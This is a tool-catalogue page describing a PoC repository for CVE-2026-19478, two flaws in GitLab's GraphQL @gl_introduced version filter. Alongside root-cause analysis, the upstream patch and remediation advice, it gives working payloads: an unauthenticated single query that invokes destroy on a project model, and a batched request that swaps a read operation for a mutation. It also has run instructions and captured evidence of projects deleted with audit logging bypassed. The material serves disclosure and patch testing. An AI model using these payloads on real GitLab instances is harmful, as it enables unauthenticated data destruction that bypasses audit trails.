Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-19478 — Предоставляет PoC-эксплойты и анализ первопричин для двух уязвимостей директивы GraphQL `@gl_introduced` в GitLab: неаутентифицированное выполнение методов и подмена пакетных документов, вместе с апстрим-патчем и живыми доказательствами. | Kitploit
Инструменты/GitHubGitHub/n0xdaemon/cve-2026-19478
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIВеб-безопасность
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

Предоставляет PoC-эксплойты и анализ первопричин для двух уязвимостей директивы GraphQL `@gl_introduced` в GitLab: неаутентифицированное выполнение методов и подмена пакетных документов, вместе с апстрим-патчем и живыми доказательствами.

Репозиторий
3 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-19478 — уязвимости фильтра версий GitLab GraphQL @gl_introduced

Лаборатория для воспроизведения двух связанных ошибок в функции фильтра версий GraphQL GitLab (директива @gl_introduced). Обе находятся в одной функциональной области, устраняются одним и тем же апстрим-патчем, и обе позволяют GraphQL-запросу достигать путей кода, которые он не объявлял:

  • Выполнение метода через fallback-поле — один-единственный неаутентифицированный непакетированный запрос может вызвать произвольный метод без аргументов (например, destroy) на модели, стоящей за любым GraphQL-типом, просто назвав несуществующее поле и пометив его @gl_introduced.
  • Подмена документа между операциями — в пакетированном (multiplex) запросе разобранный документ запроса одной операции может быть подставлен вместо документа другой, так что слот, объявивший безвредное чтение, в итоге выполняет мутацию другого слота.
Скачать инструмент
Затронуто18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
Исправлено18.11.11, 19.0.8, 19.1.6, 19.2.4
Цель лабораторииgitlab/gitlab-ce:19.2.2-ce.0 (последняя сборка до исправления)
Триггердиректива GraphQL @gl_introduced, отдельно или внутри пакета

Структура репозитория

root@kitploit:~
docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

Всё в src/ — дословный апстрим-исходный код, ничего не переписано: загрузчик накладывает src/vuln или src/patched поверх src/common.


1. Корневая причина

1a. Fallback-поле → разрешение методов по умолчанию в graphql-ruby

Gitlab::Graphql::VersionFilter::FutureFieldFallback позволяет запросу ссылаться на поле, которого ещё нет в типе, не вызывая ошибку запроса — это предназначено для rolling-деплоев, когда схема старого узла ещё не содержит поле, которое уже поставляет более новый узел. Его переопределение get_field проверяет, отсутствует ли запрошенное поле и помечен ли запрос флагом contain_future_fields, и если да, то вместо исключения возвращает синтетическое поле:

root@kitploit:~
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

Проблема: этот GraphQL::Schema::Field создаётся без метода-резолвера, без класса-резолвера, без блока. Затем применяется стандартное разрешение полей самого graphql-ruby (gem graphql 2.6.3, lib/graphql/schema/field.rb):

root@kitploit:~
inner_object.public_send(@method_sym)

@method_sym — это имя поля в snake_case, то есть ровно та строка, которую атакующий указал в запросе. Если объект за GraphQL-типом (модель ActiveRecord) случайно имеет реальный публичный метод без аргументов с таким именем, graphql-ruby вызывает его и возвращает его результат (приведённый к типу). fallback_value: nil применяется только когда метода действительно не существует — он никак не мешает выполнению реального метода.

Итак: запросите у любого типа поле, названное в честь реального деструктивного метода — например, destroy — пометьте его @gl_introduced, чтобы оно дошло до выполнения, и метод выполнится.

1b. Подмена документа между операциями

IntroducedTracer реализует остальную часть функции фильтра версий через два trace-хука graphql-ruby — parse (один раз на операцию) и execute_query (один раз на операцию). В уязвимой сборке он сохраняет состояние для каждой операции в обычных переменных экземпляра объекта trace:

root@kitploit:~
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

Проблема: graphql-ruby использует ОДИН экземпляр trace для всех операций в multiplexed-запросе и разбирает их все до выполнения любой из них. Поэтому в пакете из двух операций:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 несёт future-поле @gl_introduced)

После разбора сохраняется состояние только последней операции. Затем начинается выполнение:

  1. execute_query(op1) → флаг равен true, поэтому документ op1 перезаписывается на op2_doc и заново подготавливается → слот op1 выполняет операцию op2.

op1 объявил чтение; он выполняет запись из op2.

Исправление

patch-19.2.2-to-19.2.4.diff закрывает обе:

root@kitploit:~
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. Схема эксплуатации

2a. Fallback-поле — один запрос, без авторизации, без пакетирования

root@kitploit:~
query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

Без заголовка Authorization. Одна операция, без пакета. destroy — не настоящее поле Project; его вообще нет в схеме, — но директива заставляет FutureFieldFilter удалить его до статической валидации и взводит contain_future_fields для этапа выполнения, где get_field возвращает поле без резолвера с именем destroy, и graphql-ruby вызывает project.public_send(:destroy).

Подтверждено на живом экземпляре (evidence/live_vuln_fallback_field.txt, воспроизведено три раза на трёх отдельных одноразовых проектах): при отправке против публичного проекта ответ был {"data":{"project":{"id":"...","destroy":true}}}. Последующая аутентифицированная проверка через REST (GET /api/v4/projects/:id) вернула 404 — проект действительно исчез. Журнал запроса для этого вызова показывает 9 синхронных записей в БД и ноль новых строк AuditEvent: вызов полностью обходит Projects::DestroyService (а вместе с ним журнал аудита, вебхуки и уведомления) — это сырой каскад ActiveRecord#destroy, вызванный напрямую через стандартное разрешение полей GraphQL.

2b. Подмена документа между операциями — требуется пакет

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant C as GraphqlController
    participant T as IntroducedTracer (one shared instance)
    participant S as StarProject mutation

    A->>C: POST /api/graphql  [ {query: op1}, {query: op2} ]
    Note over A: op1 = query { currentUser { username } }   (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
    C->>T: parse(op1)
    Note over T: @original = op1_doc, future=false
    C->>T: parse(op2)
    Note over T: @original = op2_doc, future=TRUE  (overwrites op1 state)
    C->>T: execute_query(op1)
    T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
    T->>S: run starProject  ← smuggled into the read slot
    S-->>A: slot 1 returns { starProject: { count } } #59; star state changed

Полезная нагрузка Op2 — директива @gl_introduced должна находиться только на реальном поле, чтобы на этапе разбора FutureFieldFilter переключил contain_future_fields и взвёл подмену:

root@kitploit:~
mutation {
  starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
    count @gl_introduced(version: "99.0.0")
  }
}

Подтверждено на живом экземпляре (evidence/live_vuln.txt): слот 1, объявивший query { currentUser { username } }, возвращает {"data":{"starProject":{"count":"0"}}} и счётчик звёзд проекта меняется с 1 на 0.


3. Запуск PoC

PoC #1 — живой HTTP-эксплойт: выполнение метода через fallback-поле

root@kitploit:~
docker compose up -d          # first boot runs migrations; wait for healthy (~10 min)

GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
  bash harness/live_test_fallback.sh

Скрипт создаёт одноразовый публичный проект через аутентифицированный REST API (только для подготовки), отправляет один неаутентифицированный GraphQL-запрос с полем destroy, помеченным @gl_introduced, затем повторно проверяет проект через аутентифицированный REST. Он объявляет VULNERABLE, если проект исчез.

PoC #2 — живой HTTP-эксплойт, подмена документа между операциями

root@kitploit:~
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
  bash harness/live_test.sh

Скрипт считывает базовое состояние звёзд, отправляет пакет из двух операций и объявляет VULNERABLE, если слот 1, объявивший чтение, возвращает полезную нагрузку starProject (и/или счётчик звёзд меняется).

PoC #3 — автономная проверка корневой причины, подмена документа (без GitLab)

Изолирует Gitlab::Graphql::VersionFilter в крошечном приложении на graphql-ruby, чтобы подмена была видна без лишнего шума GitLab. Загружает настоящий апстрим-исходный код.

root@kitploit:~
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln      # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched   # -> SAFE

4. Влияние

Оба вектора подтверждены на живом экземпляре gitlab/gitlab-ce:19.2.2-ce.0. Они несут разную степень авторизационной экспозиции, поскольку затрагивают разные уровни стека GitLab.

Fallback-поле (1a): подтверждено, неаутентифицированно, деструктивно

Без токена, без пакетирования, один запрос. Ответ напрямую возвращает результат метода ("destroy": true), а сам объект реально уничтожается — подтверждено через аутентифицированный REST (404) и серверными свидетельствами (ноль строк AuditEvent, 9 синхронных записей за один запрос), то есть вызов полностью обходит обычный сервис удаления GitLab. Воспроизведено независимо три раза на трёх отдельных одноразовых проектах. Любой GraphQL-тип, чей базовый объект предоставляет реальный публичный деструктивный метод без аргументов, — кандидат.

Подмена документа между операциями (1b): подтверждено при аутентификации; для анонимов — ограничено

С любым токеном, имеющим область api, операция, которая объявила чтение, выполняет запись, которую она не запрашивала (счётчик звёзд 1 → 0, инициируется слотом с типом query). При отправке без токена подмена всё равно срабатывает — слот чтения действительно доходит до starProject и резолвит его, — но каждая мутация GitLab наследует Mutations::BaseMutation, чей шлюз self.authorized? выполняется на этапе выполнения:

root@kitploit:~
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)

Для анонимного запроса current_user равен nil, и GlobalPolicy выполняет rule { anonymous }.policy { prevent :execute_graphql_mutation }. При неаутентифицированном переборе 10 вариантов пакетов (порядок, директива на поле / подполе / инлайн-фрагмент, пакеты из 2 и 3 операций): перехваченный слот каждый раз упирается в шлюз, и счётчик звёзд не меняется.

Этот шлюз относится только к мутациям — он не влияет на 1a, которая вообще не касается Mutations::BaseMutation; fallback-поле резолвится напрямую против модели как обычное поле типа query, и в этом пути вообще нет проверки авторизации.

Почему автономный PoC (#3) выглядит неаутентифицированным для 1b

src/common/demo_app.rb вообще не имеет слоя авторизации — его мутация просто пишет. Поэтому PoC #3 демонстрирует механизм подмены (слот чтения выполняет запись) в песочнице без авторизации. Настоящий GitLab применяет шлюз execute_graphql_mutation, который демо-приложение опускает — в частности для 1b. На этой стандартной сборке запись, инициированная мутацией без учётных данных, недостижима через одну лишь 1b; она достижима через 1a, которой мутация вообще не нужна.


5. Устранение

Обновитесь до 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 или новее. Исправление (см. diff) делает две вещи: future_field_fallback.rb даёт fallback-полю явный резолвер (Resolvers::NilResolver, который всегда возвращает nil) вместо того, чтобы полагаться на стандартную диспетчеризацию методов graphql-ruby, закрывая 1a; introduced_tracer.rb ограничивает состояние трейсера для каждой операции её собственным документом вместо общей переменной экземпляра, закрывая 1b.